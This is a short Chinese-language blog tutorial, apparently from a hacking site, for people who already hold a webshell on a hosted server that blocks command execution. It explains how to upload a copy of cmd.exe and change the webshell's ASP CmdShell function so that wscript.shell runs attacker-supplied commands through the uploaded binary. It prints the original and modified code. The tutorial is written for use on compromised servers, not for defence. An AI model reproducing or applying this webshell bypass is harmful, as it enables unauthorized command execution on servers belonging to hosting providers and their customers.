有很多朋友問(wèn)他得到了一個(gè)WEBSHELL,但是想用命令提示查看用戶(hù)信息什么的,但是很多主機限制了執行命令,所以很多WEBSHELL就不能失去了很大的功能......前二天桂林老兵ASP站長(cháng)助手6.0剛出來(lái)，我就以ASP站長(cháng)助手6.0為例把它上傳到一個(gè)禁止執行的虛擬主機，然后上傳一個(gè)CMD.exe，然后調用你上傳的CMD來(lái)執行命令......

本來(lái)想搞圖文教程的，但感覺(jué)太簡(jiǎn)單，文字就可以說(shuō)明清楚了


1.打開(kāi)ASP站長(cháng)助手6.0點(diǎn)擊命令提示符，顯示"沒(méi)有權限"
2.用ASP站長(cháng)助手6.0上傳功能上傳一個(gè)CMD.exe（在WIN\system32\cmd.exe）到你的WEBSHELL目錄（其它目錄也行，把上傳以后的CMD.exe絕對路徑COPY出來(lái)）
3.修改你的webshell找到調用CMD.exe的代碼

_code cellSpacing=1 cellPadding=0 width="90%" border=0> Function CmdShell()
If Request("cmd")<>"" Then
DefCmd = Request("cmd")
Else
DefCmd = "Dir "&Session("FolderPath")
End If
SI="
"
SI=SI&""
SI=SI&""

SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall

SI=SI&Chr(13)&"Rar命令行壓縮示例：c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1"
Response.Write SI
End Function

修改成以下載的代碼

Function CmdShell()
If Request("cmd")<>"" Then
DefCmd = Request("cmd")
Else
DefCmd = "Dir "&Session("FolderPath")
End If
SI=" "
SI=SI&""
SI=SI&""

SI=SI&server.createobject("wscript.shell").exec("你想上傳的cmd.exe絕對路徑 /c "&DefCmd).stdout.readall

SI=SI&Chr(13)&"Rar命令行壓縮示例：c:\progra~1\winrar\rar.exe a d:\web\test\web1.rar d:\web\test\web1
"
Response.Write SI
End Function


為了大家看得清楚把要修改的提出來(lái)就可以

原來(lái)的：
_code cellSpacing=1 cellPadding=0 width="90%" border=0> SI=SI&server.createobject("wscript.shell").exec("cmd.exe /c "&DefCmd).stdout.readall
修改成：
SI=SI&server.createobject("wscript.shell").exec("你想上傳的cmd.exe絕對路徑 /c "&DefCmd).stdout.readall


比如你上偉到的目錄是D:\web\www\cmd.exe那么就修改成:
_code cellSpacing=1 cellPadding=0 width="90%" border=0> SI=SI&server.createobject("wscript.shell").exec("D:\web\www\cmd.exe /c "&DefCmd).stdout.readall


這樣你的WEBSHELL中的命令提示符就可以用了......

文章來(lái)自: 本站原創(chuàng )
引用通告地址: http://www.ciker.net/blog/trackback.asp?tbID=135
Tags: